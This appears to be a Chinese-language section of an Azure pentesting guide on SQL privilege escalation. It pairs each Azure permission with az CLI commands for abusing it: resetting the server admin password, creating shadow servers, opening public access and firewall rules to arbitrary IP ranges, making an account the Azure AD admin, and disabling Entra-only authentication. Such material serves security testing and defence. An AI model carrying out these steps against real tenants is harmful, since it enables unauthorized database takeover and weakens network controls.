SQL 数据库权限提升
有关 SQL 数据库的更多信息,请查看:
Az - SQL"Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现对服务器的未经授权访问或控制。他们还可以创建新服务器,可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制访问权限。
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_password>
此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
"Microsoft.Sql/servers/firewallRules/write"
攻击者可以操纵 Azure SQL 服务器上的防火墙规则,以允许未经授权的访问。这可以被利用来向特定的 IP 地址或整个 IP 范围(包括公共 IP)开放服务器,从而使恶意行为者能够访问。此后利用活动可以用来绕过现有的网络安全控制,建立持久性,或通过暴露敏感资源来促进环境内的横向移动。
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
此外,Microsoft.Sql/servers/outboundFirewallRules/delete
权限允许您删除防火墙规则。
注意:必须启用公共访问
""Microsoft.Sql/servers/ipv6FirewallRules/write"
拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置,并获得对服务器的未经授权的访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
此外,Microsoft.Sql/servers/ipv6FirewallRules/delete
权限允许您删除防火墙规则。
注意:必须启用公共访问
"Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
拥有这些权限,您可以在 Azure SQL Server 环境中进行权限提升,访问 SQL 数据库并检索关键信息。使用下面的命令,攻击者或授权用户可以将自己或其他帐户设置为 Azure AD 管理员。如果启用了 "Microsoft Entra Authentication Only",您将能够访问服务器及其实例。以下是为 SQL 服务器设置 Azure AD 管理员的命令:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
"Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
通过这些权限,您可以在 Azure SQL Server 上配置和强制执行“Microsoft Entra 仅限身份验证”,这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅限身份验证。
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>